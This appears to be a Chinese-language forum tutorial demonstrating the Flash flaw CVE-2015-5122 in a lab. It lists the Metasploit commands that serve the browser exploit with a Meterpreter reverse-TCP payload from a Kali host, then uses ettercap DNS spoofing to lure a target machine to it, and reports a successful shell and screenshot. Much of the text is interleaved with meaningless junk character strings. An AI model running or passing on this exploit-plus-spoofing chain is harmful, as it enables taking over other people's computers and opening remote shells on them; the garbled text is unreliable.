cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 % q) e" {- _- n# ]' t( G4 o

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 6 g! S: y( h$ w" @* \1 I- D

, d* ~5 S0 p$ }3 K C9 Y) U

9 ~5 ?% E+ M1 x8 T search cve-2015-5122如图： W0 V) T' x5 d( m# j

4 r8 j$ s* g1 I* B/ I

5 h( F) ^% g0 V- k5 E N3 h% o. \4 R3 `  

下面我们敲如下命令： + t3 s: d u' q; M: h% f

! H7 t% P- l6 B* p/ A' c use exploit/multi/browser/adobe_flash_opaque_background_uaf 7 H0 _4 X! o2 c4 Q1 @5 M

7 Z: O5 q+ c: G5 d+ A, ]8 I6 ~* s3 r F

" ]; E2 F# d+ ]$ q; _ set PAYLOAD windows/meterpreter/reverse_tcp

; ]# g0 u5 f7 m4 {* t

! [; l' B" W8 ]8 p8 V3 I set LHOST 192.168.0.109 8 L9 D8 b# ~- |

3 b" C/ t: ], |

set URIPATH /                        /*根目录*/ " Y5 t$ r2 h4 k: P* x7 }& u

" s9 ^% R* S% x6 J/ j, c

A p9 Q, Q! Q0 [ _4 g% ` set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 3 \7 [2 {. l0 _2 N5 k0 y

' ]1 F+ \8 }: p! ]0 [; A

2 n1 q& i: i" y) e8 \; v }) N7 b2 p0 q set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

4 X u1 v# _- S; v! J" D6 L

然后show options如图： 2 s! H X ~+ ?3 Z/ g

( \8 c2 k5 y0 s

  , ~% C0 i( z4 R# j6 n. G& g

* e; A- `' ~' |& p0 T! B" A2 A; S& Q

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
7 K9 I1 U2 J, f6 ^8 w9 X- ~

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 7 ?7 U$ {3 w% S; s3 v

5 L3 Y( U, _8 ]* S( L+ D# g2 G

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

|/ {6 D/ M8 a# N* f, t

/ i# X( k! W) [- ~# B* o6 p  

成功了，这时候我们断开ettercap，如图：

* e! u; [# Y! {9 M

  # W" R! i, n. w* N) [! p e9 I+ J

Screenshot如图：

  , Z4 P5 v# Q/ R, A

3 V- N* H2 P. n' z2 y2 Q